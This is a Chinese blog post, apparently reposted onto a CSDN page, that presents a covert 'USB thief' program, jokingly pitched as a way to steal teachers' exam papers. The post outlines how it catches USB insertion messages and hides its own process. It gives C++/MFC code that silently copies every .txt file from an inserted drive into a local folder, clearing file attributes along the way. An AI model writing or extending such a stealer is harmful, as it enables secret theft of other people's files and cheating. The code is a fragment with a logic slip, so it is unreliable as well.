u盘小偷程序(usbthief)

 

 临近期末,大家都忙着复习,不挂科。

这学期的操作系统课实在蛋疼。。还有编译原理。

老师还不给划重点,那咱们怎么办?于是有了下面的想法:

 

u盘小偷程序  帮助你偷取老师的试卷,不挂科! 哈哈

 

这个程序的要点是获取WM_DEVICECHANGE 硬件改动消息

接收插入u盘消息

测试最后几个磁盘是否为移动磁盘。复制所需要的文件

这个程序的难点是进程隐藏,老板键的设置

递归拷贝文件代码:

void  SearchCopyDirectory(CString   strDir) 
{ 
	if(strDir.IsEmpty()) 
		return; 
	CFileFind   ff;                                                  //首先拷贝文件及子文件夹 
	BOOL   bFound = ff.FindFile(strDir+ "\\*",0);
	CString  newfilepath = "d://copy//";
	CString  findcontent;
    int n = 0;
	while(bFound) 
	{ 
		bFound   =   ff.FindNextFile(); 
		if(ff.GetFileName()== "."||ff.GetFileName()== "..")          //过滤掉//.  //..
			continue;
		
		SetFileAttributes(ff.GetFilePath(),   FILE_ATTRIBUTE_NORMAL); //去掉文件(夹)只读等属性 
		
		if(ff.IsDirectory()) 
		{  
			SearchCopyDirectory(ff.GetFilePath()); 	                  //拷贝递归文件夹	
			findcontent =  ff.GetFileName();
 
             n = findcontent.Find(".txt");
		
			if(-1 !=n)
			{  
				if(0==CopyFile(ff.GetFilePath(),newfilepath+ff.GetFileName(),0))
				{ 
					//ifdef DEBUG
					//AfxMessageBox("failue A ...");
				}
			}
		}
		else 
		{ 
		    
		   findcontent =  ff.GetFileName();
			n = findcontent.Find(".txt");
            if(-1 !=n)
			{
				if(0==CopyFile(ff.GetFilePath(),newfilepath+ff.GetFileName(),0))                //拷贝文件 
				{ 
					//AfxMessageBox("failue B...");
				}
			}
			
		} 
	}
	ff.Close(); 
} 

  

转载于:https://www.cnblogs.com/pipicfan/archive/2012/01/02/2310417.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值